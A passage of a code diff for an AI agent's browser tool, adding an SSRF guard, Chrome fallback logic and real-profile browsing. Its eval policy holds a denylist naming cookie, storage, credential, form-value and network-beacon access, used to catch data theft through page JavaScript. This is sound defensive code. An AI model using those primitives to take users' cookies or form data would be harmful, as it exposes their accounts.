install the missing browser" gap for - the common case — a Chromium binary that was simply never downloaded. - Scope is deliberately narrow: - - - Binary only (``agent-browser install``), never ``--with-deps`` — that - shells ``apt`` and needs root, so missing *system libraries* stay a user - action (the timeout/blocked hints already point there). - - Gated by ``security.allow_lazy_installs`` (same opt-out as every other - lazy install) and skipped in Docker, where Chromium ships in the image. - - Attempted once per process. - - Returns True only when Chromium is present afterwards. + Binary only (``agent-browser install``), never ``--with-deps`` — that shells + ``apt`` and needs root, so missing system libraries stay a user action. + Gated by ``security.allow_lazy_installs``, skipped in Docker (Chromium ships + in the image), attempted once per process. True only when Chromium is + present afterwards. """ global _chromium_autoinstall_attempted if _chromium_autoinstall_attempted: @@ -6303,20 +4502,11 @@ def _running_in_docker() -> bool: def check_browser_requirements() -> bool: - """ - Check if browser tool requirements are met. + """Whether the browser tools should be advertised. - In **local mode** (no cloud provider configured): the ``agent-browser`` - CLI must be findable. Chrome/Chromium is required for the default Chrome - engine and for fallback/screenshot paths, but not for Lightpanda-only text - navigation/snapshot workflows. - - In **cloud mode** (Browserbase, Browser Use, or Firecrawl): the CLI - and the provider's required credentials must be present. The cloud - provider hosts its own Chromium, so no local browser binary is needed. - - Returns: - True if all requirements are met, False otherwise + Local mode needs the ``agent-browser`` CLI plus a Chromium build (except + Lightpanda-only text workflows); cloud mode needs the CLI plus provider + credentials (the provider hosts its own Chromium). """ # Browser Use CLI backend — browser_exec replaces the whole browser_* # surface (including browser_cdp/browser_dialog, whose check_fns funnel @@ -6366,21 +4556,12 @@ def check_browser_requirements() -> bool: # Local Chrome mode: agent-browser needs a Chromium build on disk. Without # it the CLI hangs on first use until the command timeout fires. - if not _chromium_installed(): - return False - - return True + return _chromium_installed() def check_browser_vision_requirements() -> bool: - """Whether ``browser_vision`` should be advertised to the model. - - Requires BOTH a working browser (``check_browser_requirements``) AND a - resolvable vision backend. Without the vision check, the tool stays in - the model's tool list even when no vision provider is configured, then - fails at call time with a cryptic provider-side error like - ``unknown variant `image_url`, expected `text``` (issue #31179). - """ + """Advertise ``browser_vision`` only with BOTH a working browser AND a vision + backend — otherwise it fails at call time with a cryptic provider error.""" if not check_browser_requirements(): return False try: diff --git a/tools/browser_tool_eval_policy.py b/tools/browser_tool_eval_policy.py new file mode 100644 index 0000000000..143aa99c43 --- /dev/null +++ b/tools/browser_tool_eval_policy.py @@ -0,0 +1,262 @@ +"""browser_console(expression=...) policy: SSRF guard gating, private-URL probes, +and the opt-in sensitive-primitive denylist. + +Origin-module symbols are resolved lazily through ``tools.browser_tool`` (``_bt``) +so ``patch("tools.browser_tool.X")`` in tests keeps working; this module must not +import ``tools.browser_tool`` at import time (cycle). +""" + +import re +from typing import Optional +from tools.browser_tool_origin import origin_module as _origin + + +def _eval_ssrf_guard_active(effective_task_id: str) -> bool: + """Return True when eval-driven private-network access must be guarded. + + Matches the gating used by ``browser_navigate`` / ``browser_snapshot`` / + ``browser_vision``: the SSRF guard is only meaningful for non-local + backends (cloud browser, or a containerized terminal whose browser-on-host + can reach internal networks the terminal can't), and is skipped for local + sidecar sessions and when ``allow_private_urls`` is set. + """ + _bt = _origin() + return ( + not _bt._is_local_backend() + and not _bt._is_local_sidecar_key(effective_task_id) + and not _bt._allow_private_urls() + ) + + +# URL-shaped literals embedded in a JS expression (http/https only). Used to +# pre-screen ``browser_console(expression=...)`` calls that fetch/XHR/navigate +# to a private host directly — that path never updates ``location.href`` so the +# post-eval page-URL recheck below can't see it. +_JS_URL_LITERAL_RE = re.compile(r"""https?://[^\s'"`)\]<>]+""", re.IGNORECASE) + + +def _expression_targets_private_url(expression: str) -> Optional[str]: + """Return the first private/always-blocked URL literal in a JS expression. + + Best-effort: scans for ``http(s)://...`` literals (fetch/XHR/navigation + targets the agent may have embedded) and returns the first one that targets + a private/internal address or the always-blocked cloud-metadata floor. + Returns ``None`` when no such literal is found. + """ + _bt = _origin() + if not isinstance(expression, str): + return None + for match in _JS_URL_LITERAL_RE.findall(expression): + candidate = match.rstrip(".,;") + if _bt._is_always_blocked_url(candidate) or not _bt._is_safe_url(candidate): + return candidate + return None + + +def _current_page_private_url(effective_task_id: str) -> Optional[str]: + """Return the current page URL when it targets a private/internal address. + + Reads ``window.location.href`` via a low-cost eval and returns it when the + page has been navigated (e.g. via ``location.href = '...'`` in a prior + eval) to an address the SSRF guard would reject. Returns ``None`` when the + page is public, the URL can't be determined, or the check errors (fail-open + on probe failure, matching the snapshot/vision guards). + """ + _bt = _origin() + try: + url_result = _bt._run_browser_command( + effective_task_id, "eval", ["window.location.href"], + timeout=5, _engine_override="auto", + ) + if url_result.get("success"): + current_url = ( + url_result.get("data", {}).get("result", "") + .strip().strip('"').strip("'") + ) + if current_url and ( + _bt._is_always_blocked_url(current_url) or not _bt._is_safe_url(current_url) + ): + return current_url + except Exception as exc: + _bt.logger.debug("_current_page_private_url: probe failed (%s)", exc) + return None + + +_RISKY_BROWSER_EVAL_PATTERNS: tuple[tuple[re.Pattern[str], str], ...] = ( + (re.compile(r"\bdocument\s*\.\s*cookie\b", re.I), "document.cookie"), + (re.compile(r"\b(?:localStorage|sessionStorage)\b", re.I), "web storage"), + (re.compile(r"\bindexedDB\b", re.I), "IndexedDB"), + (re.compile(r"\bcaches\s*\.\s*(?:open|match|keys)\b", re.I), "Cache Storage"), + (re.compile(r"\bnavigator\s*\.\s*(?:clipboard|credentials|serviceWorker)\b", re.I), "navigator sensitive API"), + (re.compile(r"\b(?:fetch|XMLHttpRequest|WebSocket|EventSource)\s*\(", re.I), "network request"), + (re.compile(r"\bnavigator\s*\.\s*sendBeacon\s*\(", re.I), "network beacon"), + (re.compile(r"\bdocument\s*\.\s*forms\b.*\bvalue\b", re.I | re.S), "form value extraction"), + (re.compile(r"\bquerySelector(?:All)?\s*\([^)]*(?:input|textarea|password)[^)]*\).*\bvalue\b", re.I | re.S), "form value extraction"), +) + + +_JS_STRING_LITERAL_RE = re.compile( + r"""'(?:\\.|[^'\\])*'|\"(?:\\.|[^\"\\])*\"|`(?:\\.|[^`\\])*`""", + re.S, +) + + +_SENSITIVE_BROWSER_EVAL_TOKENS: tuple[tuple[str, str], ...] = ( + ("cookie", "document.cookie"), + ("localStorage", "web storage"), + ("sessionStorage", "web storage"), + ("indexedDB", "IndexedDB"), + ("caches", "Cache Storage"), + ("clipboard", "navigator sensitive API"), + ("credentials", "navigator sensitive API"), + ("serviceWorker", "navigator sensitive API"), + ("fetch", "network request"), + ("XMLHttpRequest", "network request"), + ("WebSocket", "network request"), + ("EventSource", "network request"), + ("sendBeacon", "network beacon"), +) + + +def _allow_unsafe_browser_evaluate() -> bool: + """Return whether sensitive browser JS evaluation is explicitly allowed. + + When true, ``browser_console(expression=...)`` runs without the + sensitive-primitive denylist even if ``browser.restrict_evaluate`` is set. + """ + _bt = _origin() + return _bt._browser_cfg( + "allow_unsafe_evaluate", False, + lambda v: _bt.is_truthy_value(v, default=False), + "browser.allow_unsafe_evaluate from config", + ) + + +def _restrict_browser_evaluate() -> bool: + """Return whether the sensitive-primitive eval denylist is enabled. + + Off by default. ``browser_console(expression=...)`` is the agent's only + programmatic page-inspection path, and the denylist blocks the *names* of + common primitives (``fetch``, ``cookie``, ``querySelector(...input...)``) + rather than any actual exfiltration — which also blocks a large class of + legitimate DOM extraction (any selector or page script text containing + those words). Egress itself is still gated by the SSRF/private-URL guards + in ``_browser_eval`` regardless of this setting. Users who want the + strict vocabulary denylist (e.g. when browsing hostile pages with a + logged-in profile) opt in with ``browser.restrict_evaluate: true``; + ``browser.allow_unsafe_evaluate: true`` overrides it back off. + """ + _bt = _origin() + return _bt._browser_cfg( + "restrict_evaluate", False, + lambda v: _bt.is_truthy_value(v, default=False), + "browser.restrict_evaluate from config", + ) + + +def _decode_js_string_literal(literal: str) -> str: + """Best-effort decode of a JavaScript string literal for policy checks. + + This is not a JS parser. It only normalizes common escaped property names + such as ``document["co\\x6fkie"]`` before the fail-closed sensitive-token + check below. + """ + if len(literal) < 2: + return literal + body = literal[1:-1] + try: + return bytes(body, "utf-8").decode("unicode_escape") + except Exception: + return body + + +def _decoded_js_string_literals(expression: str) -> list[str]: + return [_decode_js_string_literal(match.group(0)) for match in _JS_STRING_LITERAL_RE.finditer(expression)] + + +def _sensitive_browser_eval_token_reason(expression: str) -> Optional[str]: + """Return a risk reason for direct or quoted sensitive browser primitives. + + ``browser_console(expression=...)`` executes in the page origin. A denylist + that only searches direct spellings like ``document.cookie`` and ``fetch(`` + misses equivalent JavaScript property access such as ``document["cookie"]`` + or ``globalThis["fetch"](...)``. Treat sensitive primitive names as risky + whether they appear as identifiers or decoded string-literal property names. + Concatenating all string literals catches simple obfuscations like + ``document["coo" + "kie"]`` while the config opt-in preserves the escape + hatch for trusted pages. + """ + string_literals = _decoded_js_string_literals(expression) + concatenated_literals = "".join(string_literals).lower() + for token, reason in _SENSITIVE_BROWSER_EVAL_TOKENS: + if re.search(rf"\b{re.escape(token)}\b", expression, re.I): + return reason + token_lower = token.lower() + if any(token_lower in literal.lower() for literal in string_literals): + return reason + if token_lower in concatenated_literals: + return reason + return None + + +def _risky_browser_eval_reason(expression: str) -> Optional[str]: + """Return a human-readable reason if a JS expression uses risky primitives.""" + if not expression: + return None + for pattern, reason in _RISKY_BROWSER_EVAL_PATTERNS: + if pattern.search(expression): + return reason + return _sensitive_browser_eval_token_reason(expression) + + +def _enforce_browser_eval_policy(expression: str) -> Optional[str]: + """Block sensitive browser JS evaluation when the opt-in denylist is on. + + The denylist is opt-in (``browser.restrict_evaluate: true``) because it + gates on primitive *names*, which cripples legitimate DOM extraction — + see ``_restrict_browser_evaluate``. Network egress to private/internal + addresses is enforced separately in ``_browser_eval`` and does not depend + on this policy. + """ + _bt = _origin() + if not _bt._restrict_browser_evaluate(): + return None + if _bt._allow_unsafe_browser_evaluate(): + return None + reason = _risky_browser_eval_reason(expression) + if not reason: + return None + return ( + "Blocked: browser_console(expression=...) tried to use sensitive browser " + f"JavaScript primitive ({reason}) while browser.restrict_evaluate is " + "enabled. Use browser_snapshot/browser_get_images/browser_console " + "without expression for normal inspection, or set " + "browser.restrict_evaluate: false in config.yaml to allow " + "programmatic evaluation." + ) + + +def _camofox_current_page_private_url(tab_id: str, user_id: str) -> Optional[str]: + """Return the Camofox page URL when it targets a private/internal address. + + Camofox analogue of ``_current_page_private_url`` (evaluate endpoint instead + of the agent-browser CLI). Returns ``None`` when the page is public, the URL + can't be determined, or the probe errors (fail-open on probe failure, + matching the snapshot/vision guards — do not change to fail-closed without + also changing the sibling). + """ + _bt = _origin() + try: + from tools.browser_camofox import _post + + data = _post( + f"/tabs/{tab_id}/evaluate", + body={"expression": "window.location.href", "userId": user_id}, + ) + current_url = str(data.get("result") if isinstance(data, dict) else data or "") + current_url = current_url.strip().strip('"').strip("'") + if current_url and (_bt._is_always_blocked_url(current_url) or not _bt._is_safe_url(current_url)): + return current_url + except Exception as exc: + _bt.logger.debug("_camofox_current_page_private_url: probe failed (%s)", exc) + return None diff --git a/tools/browser_tool_lightpanda_fallback.py b/tools/browser_tool_lightpanda_fallback.py new file mode 100644 index 0000000000..3f13c402bf --- /dev/null +++ b/tools/browser_tool_lightpanda_fallback.py @@ -0,0 +1,268 @@ +"""Lightpanda engine status and the automatic Chrome fallback for browser commands +that Lightpanda cannot serve (screenshots, empty snapshots, failed commands). + +Origin-module symbols are resolved lazily through ``tools.browser_tool`` (``_bt``) +so ``patch("tools.browser_tool.X")`` keeps working; never import ``tools.browser_tool`` +at import time (cycle). +""" + +import json +import os +import shutil +import subprocess +from typing import Any, Dict, List, Optional, Tuple +from tools.browser_tool_origin import origin_module as _origin + + +def _using_lightpanda_engine() -> bool: + """Return True when local browser commands are configured for Lightpanda.""" + _bt = _origin() + return _bt._get_browser_engine() == "lightpanda" + + +def lightpanda_engine_status() -> Tuple[bool, str]: + """Whether ``browser.engine: lightpanda`` is actually in effect, and why. + + ``(False, "")`` when the engine isn't lightpanda; otherwise the reason names + the setting shadowing it or the driver running it. Mirrors the precedence + of ``_should_inject_engine`` / ``browser_use_cli._resolve_backend_cdp`` + with config-only gates (no network I/O) so ``/browser status`` and + ``hermes doctor`` can call it. + """ + _bt = _origin() + if not _bt._using_lightpanda_engine(): + return False, "" + if _bt._get_cdp_override_raw(): + return False, "a CDP override is active (/browser connect or browser.cdp_url)" + if _bt._is_camofox_mode(): + return False, "Camofox is the selected browser (CAMOFOX_URL)" + # Real-profile is checked before the cloud provider: in browser_exec the + # real-profile resolution runs before backend resolution, so with both + # set it is the real-profile toggle that actually claims the session. + if _bt._use_real_profile(): + return False, "browser.use_real_profile is on (Lightpanda cannot load a Chromium profile)" + try: + provider = _bt._get_cloud_provider() + except Exception: + provider = None + if provider is not None: + try: + name = provider.provider_name() + except Exception: + name = type(provider).__name__ + return False, ( + f"cloud provider {name} is selected (browser.cloud_provider, or " + "auto-detected from credentials)" + ) + bu_mode = _bt._is_browser_use_cli_mode() + if bu_mode: + try: + from tools.browser_use_cli import ( + _read_browser_cfg, + is_legacy_browser_use_cloud_config, + ) + + if is_legacy_browser_use_cloud_config(_read_browser_cfg()): + return False, "Browser Use cloud (BROWSER_USE_API_KEY) is selected" + except Exception as e: + _bt.logger.debug("legacy Browser Use cloud check failed: %s", e) + if bu_mode: + return True, "Browser Use mode: Hermes spawns `lightpanda serve` per session" + return True, "built-in browser tools: agent-browser --engine lightpanda" + + +def _lightpanda_fallback_reason(engine: str, command: str, result: Dict[str, Any]) -> Optional[str]: + """User-visible reason a Lightpanda result needs the Chrome fallback, or None. + + The string is copied into the fallback result so users can see when Hermes + silently switched engines. + """ + _bt = _origin() + if engine != "lightpanda": + return None + + # Only retry commands where Chrome can meaningfully produce a different + # result. Session-management commands (close, record) are tied to the + # engine's daemon and can't be retried on a different engine. + _FALLBACK_ELIGIBLE = {"open", "snapshot", "screenshot", "eval", "click", + "fill", "scroll", "back", "press", "console", "errors"} + if command not in _FALLBACK_ELIGIBLE: + return None + + # Explicit failure + if not result.get("success"): + error = str(result.get("error") or "command failed").strip() + return f"Lightpanda {command!r} failed ({error}); retried with Chrome." + + data = result.get("data", {}) + + if command == "snapshot": + snap = data.get("snapshot", "") + # Empty or near-empty snapshots indicate Lightpanda couldn't render + if not snap or len(snap.strip()) < 20: + return "Lightpanda returned an empty/too-short snapshot; retried with Chrome." + + if command == "screenshot": + # Lightpanda returns a placeholder PNG with its panda logo. + # Since Lightpanda resized it to 1920x1080, the placeholder is + # ~17 KB. Real Chromium screenshots are typically 100 KB+. + path = data.get("path", "") + if path: + try: + size = os.path.getsize(path) + if size < 20480: + _bt.logger.debug("Lightpanda screenshot is suspiciously small (%d bytes), " + "triggering Chrome fallback", size) + return ( + f"Lightpanda screenshot was suspiciously small ({size} bytes); " + "retried with Chrome." + ) + except OSError: + return "Lightpanda screenshot file was missing/unreadable; retried with Chrome." + + return None + + +def _needs_lightpanda_fallback(engine: str, command: str, result: Dict[str, Any]) -> bool: + """Check if a Lightpanda result should trigger an automatic Chrome fallback.""" + return _lightpanda_fallback_reason(engine, command, result) is not None + + +def _annotate_lightpanda_fallback(result: Dict[str, Any], reason: str) -> Dict[str, Any]: + """Add a user-visible Chrome fallback warning to a browser command result.""" + warning = ( + "⚠ Lightpanda fallback: Chrome was used for this browser action. " + f"{reason}" + ) + annotated = dict(result) + annotated["fallback_warning"] = warning + annotated["browser_engine"] = "chrome" + annotated["browser_engine_fallback"] = { + "from": "lightpanda", + "to": "chrome", + "reason": reason, + } + data = annotated.get("data") + if isinstance(data, dict): + data = dict(data) + data.setdefault("fallback_warning", warning) + data.setdefault("browser_engine", "chrome") + data.setdefault( + "browser_engine_fallback", + {"from": "lightpanda", "to": "chrome", "reason": reason}, + ) + annotated["data"] = data + return annotated + + +def _copy_fallback_warning(target: Dict[str, Any], result: Dict[str, Any]) -> Dict[str, Any]: + """Copy browser fallback metadata from an internal result into a tool response.""" + if result.get("fallback_warning"): + target["fallback_warning"] = result["fallback_warning"] + target["browser_engine"] = result.get("browser_engine") + target["browser_engine_fallback"] = result.get("browser_engine_fallback") + return target + + +def _run_chrome_fallback_command( + task_id: str, + command: str, + args: List[str], + timeout: int, +) -> Dict[str, Any]: + """Run a browser command in a temporary Chrome session at the current URL. + + agent-browser locks the engine when a named daemon starts, so ``--engine + chrome`` on the Lightpanda session is ignored: use a fresh temp Chrome + session, navigate it to the current URL, run ``command``, tear it down. + """ + _bt = _origin() + import uuid + + # 1. Grab the current URL from the Lightpanda session. ``get url`` is not + # fallback-eligible, so an error cannot recursively trigger this helper. + # Keep the explicit Lightpanda override so Chromium-only environment flags + # are stripped while querying the already-running Lightpanda daemon. + url_result = _bt._run_browser_command( + task_id, "get", ["url"], timeout=10, _engine_override="lightpanda" + ) + current_url = None + if url_result.get("success"): + current_url = str(url_result.get("data", {}).get("url", "")).strip() + if not current_url: + _bt.logger.warning("Chrome fallback: could not determine current URL from LP session") + return {"success": False, "error": "Chrome fallback failed: could not determine current URL"} + + # 2. Create a temporary Chrome session (bypasses _get_session_info's cache). + tmp_session = f"h_cfb_{uuid.uuid4().hex[:8]}" + try: + browser_cmd = _bt._find_agent_browser() + except FileNotFoundError as e: + return {"success": False, "error": str(e)} + + if not _bt._chromium_installed(): + if _bt._running_in_docker(): + hint = ( + "Chrome fallback requires Chromium, but it is missing. " + "You're running in Docker — pull the latest image: " + "docker pull ghcr.io/nousresearch/hermes-agent:latest" + ) + else: + hint = ( + "Chrome fallback requires Chromium, but it is missing. Install it with: " + "npx agent-browser install --with-deps " + "(or: npx playwright install --with-deps chromium)" + ) + return {"success": False, "error": hint} + + base_args = _bt._agent_browser_argv(browser_cmd) + ["--engine", "chrome", "--session", tmp_session, "--json"] + task_socket_dir = _bt._prepare_session_socket_dir(tmp_session) + # Bypasses _run_browser_command, so apply the same Chromium sandbox policy explicitly. + browser_env = _bt._agent_browser_command_env(task_socket_dir) + _bt._apply_chromium_sandbox_args(browser_env) + + def _run_tmp(cmd: str, cmd_args: List[str]) -> Dict[str, Any]: + proc = _bt._popen_agent_browser(base_args + [cmd] + cmd_args, browser_env, task_socket_dir, cmd) + stdout_path = os.path.join(task_socket_dir, f"_stdout_{cmd}") + stderr_path = os.path.join(task_socket_dir, f"_stderr_{cmd}") + try: + proc.wait(timeout=timeout) + except subprocess.TimeoutExpired: + proc.kill() + proc.wait() + return {"success": False, "error": f"Chrome fallback '{cmd}' timed out"} + try: + with open(stdout_path, "r", encoding="utf-8") as f: + stdout = f.read().strip() + if stdout: + return json.loads(stdout.split("\n")[-1]) + except Exception as exc: + _bt.logger.debug("Chrome fallback tmp cmd '%s' error: %s", cmd, exc) + finally: + _bt._unlink_command_output_files(stdout_path, stderr_path) + return {"success": False, "error": f"Chrome fallback '{cmd}' failed"} + + try: + # 3. Navigate Chrome to the same URL, then 4. run the requested command. + nav = _run_tmp("open", [current_url]) + if not nav.get("success"): + _bt.logger.warning("Chrome fallback: navigate failed: %s", nav.get("error")) + return {"success": False, "error": f"Chrome fallback navigate failed: {nav.get('error')}"} + return _run_tmp(command, args) + finally: + # 5. Tear down the temporary Chrome session and its socket directory. + try: + _run_tmp("close", []) + except Exception: + pass + shutil.rmtree(task_socket_dir, ignore_errors=True) + + +def _chrome_fallback_screenshot( + task_id: str, + args: List[str], + timeout: int, +) -> Dict[str, Any]: + """Take a screenshot using a temporary Chrome session.""" + _bt = _origin() + return _bt._run_chrome_fallback_command(task_id, "screenshot", args, timeout) diff --git a/tools/browser_tool_origin.py b/tools/browser_tool_origin.py new file mode 100644 index 0000000000..6d5ebf2288 --- /dev/null +++ b/tools/browser_tool_origin.py @@ -0,0 +1,82 @@ +"""Origin-module lookup shared by the ``tools.browser_tool_*`` extraction modules. + +Code extracted from ``tools/browser_tool.py`` must keep reading its origin's +symbols (helpers, module state dicts, ``logger``) *through* ``tools.browser_tool`` +so ``patch("tools.browser_tool.X")`` in tests is honoured. The extraction modules +must not import ``tools.browser_tool`` at import time (cycle), so they call +:func:`origin_module` lazily per call. +""" + +import sys +from types import ModuleType + +_ORIGIN_NAME = "tools.browser_tool" + + +class _NamespaceView: + """Live attribute view over a module namespace whose module object is gone. + + Used when a test purged ``sys.modules`` after importing the origin: the old + module's code still runs with its own globals, so reads must see *those* + (patched) globals, not a fresh re-import. + """ + + __slots__ = ("_g",) + + def __init__(self, g): + object.__setattr__(self, "_g", g) + + def __getattr__(self, name): + try: + return self._g[name] + except KeyError: + raise AttributeError(name) from None + + def __setattr__(self, name, value): + self._g[name] = value + + +def _module_for_globals(g: dict): + """The module object whose namespace is ``g`` (or a live view over it).""" + mod = sys.modules.get(_ORIGIN_NAME) + if mod is not None and mod.__dict__ is g: + return mod + import tools + + mod = getattr(tools, "browser_tool", None) + if mod is not None and mod.__dict__ is g: + return mod + return _NamespaceView(g) + + +def origin_module(): + """Return the ``tools.browser_tool`` instance the *calling* moved function belongs to. + + Resolution order, mirroring what in-file code would see: + 1. the nearest enclosing frame executing ``tools.browser_tool`` code — a moved + helper called from origin code binds to that exact module copy, even after a + test purged/reloaded ``sys.modules`` (several copies may be alive); + 2. a ``tools.browser_tool`` module referenced from a calling frame's globals + (``from tools import browser_tool`` in a test that calls the helper directly); + 3. ``sys.modules`` / the ``tools`` package attribute / a fresh import. + """ + start = sys._getframe(2) + frame = start + while frame is not None: + if frame.f_globals.get("__name__") == _ORIGIN_NAME: + return _module_for_globals(frame.f_globals) + frame = frame.f_back + frame = start + while frame is not None: + for value in list(frame.f_globals.values()): + if isinstance(value, ModuleType) and getattr(value, "__name__", None) == _ORIGIN_NAME: + return value + frame = frame.f_back + mod = sys.modules.get(_ORIGIN_NAME) + if mod is None: + import tools + + mod = getattr(tools, "browser_tool", None) + if mod is None: + import tools.browser_tool as mod + return mod diff --git a/tools/browser_tool_real_profile.py b/tools/browser_tool_real_profile.py new file mode 100644 index 0000000000..6d3f67d6c7 --- /dev/null +++ b/tools/browser_tool_real_profile.py @@ -0,0 +1,390 @@ +"""Real-profile local browsing: snapshot the user's default Chromium profile into a +hermes-owned copy, launch the real browser binary on it, and attach agent-browser. + +State (``_REAL_PROFILE_SESSION``, ``_real_profile_cdp_lock``, ``_real_profile_cdp_cache``, +``_real_profile_chrome_procs``) lives in ``tools.browser_tool``. Origin-module symbols are +resolved lazily through ``tools.browser_tool`` (``_bt``) so ``patch("tools.browser_tool.X")`` +keeps working; never import ``tools.browser_tool`` at import time (cycle). +""" + +import os +import re +import subprocess +import sys +import time +from typing import Optional, Tuple +from tools.browser_tool_origin import origin_module as _origin + + +def _terminate_real_profile_chrome() -> None: + """Terminate real-browser processes launched for real-profile sessions (idempotent, atexit-safe). + + agent-browser only ATTACHED to them, so its own session cleanup never kills them. + """ + _bt = _origin() + while _bt._real_profile_chrome_procs: + proc = _bt._real_profile_chrome_procs.pop() + try: + if proc.poll() is None: + proc.terminate() + try: + proc.wait(timeout=5) + except Exception: + proc.kill() + except Exception as e: + _bt.logger.debug("real-profile chrome terminate failed: %s", e) + + +def _cdp_http_ready(http_cdp: str) -> bool: + """True when an ``http://host:port`` CDP discovery root answers.""" + try: + from hermes_cli.browser_connect import is_browser_debug_ready + + return is_browser_debug_ready(http_cdp, timeout=1.0) + except Exception: + return False + + +def _agent_browser_get_cdp(session_name: str) -> Optional[str]: + """HTTP CDP discovery root of an agent-browser session (converted from its + ``ws://`` cdp-url), or None when it isn't running / unparsable.""" + _bt = _origin() + try: + browser_cmd = _bt._find_agent_browser() + except FileNotFoundError: + return None + try: + proc = subprocess.run( + [*_bt._agent_browser_argv(browser_cmd), "--session", session_name, "get", "cdp-url"], + capture_output=True, text=True, timeout=15, env=_bt._build_browser_env(), + ) + except (subprocess.SubprocessError, OSError) as e: + _bt.logger.debug("real-profile get cdp-url failed: %s", e) + return None + out = (proc.stdout or "").strip() + m = re.search(r"ws://127\.0\.0\.1:(\d+)/", out) + if not m: + return None + return f"http://127.0.0.1:{m.group(1)}" + + +def _cdp_on_data_dir(http_cdp: str, data_dir: str) -> bool: + """True when the CDP endpoint's browser runs on ``data_dir``. + + Chrome writes its live debug port to ``DevToolsActivePort`` in the + user-data-dir; a port match proves the browser is our profile copy, not a + throwaway temp dir a raced/stale launch fell back to. + """ + m = re.search(r":(\d+)", http_cdp or "") + if not m: + return False + try: + with open(os.path.join(data_dir, "DevToolsActivePort"), encoding="utf-8") as fh: + port_line = fh.readline().strip() + return port_line == m.group(1) + except OSError: + return False + + +def _agent_browser_close_session(session_name: str) -> None: + """Best-effort close of an agent-browser session (stale/wrong-dir cleanup).""" + _bt = _origin() + try: + browser_cmd = _bt._find_agent_browser() + except FileNotFoundError: + return + try: + subprocess.run( + [*_bt._agent_browser_argv(browser_cmd), "--session", session_name, "close"], + capture_output=True, text=True, timeout=15, env=_bt._build_browser_env(), + ) + except (subprocess.SubprocessError, OSError) as e: + _bt.logger.debug("real-profile session close failed: %s", e) + + +_REAL_PROFILE_CHROME_FLAGS = ( + "--remote-debugging-port=0", + "--no-first-run", + "--no-default-browser-check", + "--disable-background-networking", + "--disable-component-update", + "--disable-default-apps", + "--disable-hang-monitor", + "--disable-popup-blocking", + "--disable-prompt-on-repost", + "--disable-sync", + "--disable-features=Translate", + "--no-startup-window", +) + + +def _real_profile_unsupported_reason(browser) -> Optional[str]: + """Fail-closed message when the detected default browser can't be used, else None. + + A recognized pre-release channel (Beta/Dev/Canary) lives in a + channel-specific profile dir we don't resolve; normalizing it to the stable + family would drive a DIFFERENT profile/account (wrong-principal bug), so + refuse rather than guess. + """ + from hermes_cli.browser_connect import UNSUPPORTED_CHANNEL + + if browser is None: + return ( + "browser.use_real_profile is on, but your default browser is not a " + "supported Chromium browser (Chrome, Edge, Brave, Brave Origin, " + "Chromium). " + "Real-profile browsing requires a Chromium default; set one or turn " + "the toggle off." + ) + if browser == UNSUPPORTED_CHANNEL: + return ( + "browser.use_real_profile is on, but your default browser is a " + "pre-release Chromium channel (Beta / Dev / Canary), which " + "real-profile browsing does not support. Set your default to a " + "stable Chrome / Edge / Brave / Brave Origin / Chromium, or turn " + "the toggle off." + ) + return None + + +def _real_profile_snapshot_error(err: str) -> str: + """User-facing message for a failed profile snapshot. + + A locked profile surfaces the guidance verbatim (it already says whether + closing is armed) plus the exact approved-close command; the agent must ASK + the user before running it — it quits their browser. + """ + from hermes_cli.browser_connect import _PROFILE_LOCKED_PREFIX + + if err and err.startswith(_PROFILE_LOCKED_PREFIX): + body = err[len(_PROFILE_LOCKED_PREFIX):] + return ( + body + " To close it (only after the user approves — it " + "quits their browser and loses unsaved tabs), run: " + "`hermes browser close-profile`, then retry." + ) + return f"browser.use_real_profile is on, but {err}" + + +def _launch_real_profile_chrome(real_binary: str, copy_dir: str) -> Tuple[Optional[int], Optional[str]]: + """Launch the user's REAL browser binary on the profile COPY; return (debug_port, error). + + agent-browser's own launch path force-adds --use-mock-keychain / + --password-store=basic, which makes macOS Chrome drop every + keychain-encrypted cookie — the copy would launch signed out. Launching the + real binary ourselves with NO mock-keychain switches keeps the OS keychain + path intact; agent-browser attaches afterwards via ``--cdp ``. + + Headless by default: real-profile browsing is a background capability and a + focus-stealing window defeats it. Chrome's NEW headless mode shares the + profile's normal cookie store (legacy --headless does not), and cookie + decryption is unaffected by headless (the drop comes from mock-keychain, not + headless). Users opt into a window via browser.headed / AGENT_BROWSER_HEADED; + on a display-less Linux host we force headless regardless so the launch + doesn't die at startup. Waits for Chrome to write DevToolsActivePort. + """ + _bt = _origin() + port_file = os.path.join(copy_dir, "DevToolsActivePort") + try: + os.unlink(port_file) # stale port from a previous launch confuses reuse probes + except OSError: + pass + chrome_argv = [real_binary, f"--user-data-dir={copy_dir}", *_REAL_PROFILE_CHROME_FLAGS] + _has_display = bool(os.environ.get("DISPLAY") or os.environ.get("WAYLAND_DISPLAY")) + _want_headed = _bt._is_headed_mode() and (_has_display or not sys.platform.startswith("linux")) + if not _want_headed: + chrome_argv.append("--headless=new") + try: + chrome_proc = subprocess.Popen( + chrome_argv, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + stdin=subprocess.DEVNULL, + start_new_session=True, + env=_bt._build_browser_env(), + ) + except (subprocess.SubprocessError, OSError) as e: + return None, f"browser.use_real_profile is on, but the launch failed: {e}" + _bt._real_profile_chrome_procs.append(chrome_proc) + + deadline = time.monotonic() + 30.0 + while time.monotonic() < deadline: + try: + with open(port_file, encoding="utf-8") as fh: + line = fh.readline().strip() + if line.isdigit(): + return int(line), None + except OSError: + pass + if chrome_proc.poll() is not None: + _bt._terminate_real_profile_chrome() + return None, ( + "browser.use_real_profile is on, but Chrome exited during " + "startup (another instance may hold the profile copy)." + ) + time.sleep(0.25) + _bt._terminate_real_profile_chrome() + return None, ( + "browser.use_real_profile is on, but the real-profile browser " + "did not expose a debug port in time. Retry, or turn the toggle off." + ) + + +def _attach_agent_browser_to_real_profile(port: int, copy_dir: str) -> Tuple[Optional[str], Optional[str]]: + """Make agent-browser ATTACH to the running Chrome (never launch its own). + + Returns ``(http_cdp, error)``. The daemon may answer with the endpoint of a + browser IT spawned (throwaway temp profile) instead of the Chrome we + launched; the DevToolsActivePort file OUR Chrome wrote is authoritative, so + on disagreement we trust ours. + """ + _bt = _origin() + try: + browser_cmd = _bt._find_agent_browser() + except FileNotFoundError as e: + return None, ( + "browser.use_real_profile is on, but the local browser engine " + f"(agent-browser) is not installed: {e}" + ) + argv = [ + *_bt._agent_browser_argv(browser_cmd), + "--session", _bt._REAL_PROFILE_SESSION, + "--cdp", str(port), + "open", "about:blank", + ] + try: + proc = subprocess.run( + argv, capture_output=True, text=True, + timeout=_bt._get_open_command_timeout(first_open=True), + env=_bt._build_browser_env(), + ) + except subprocess.TimeoutExpired: + return None, ( + 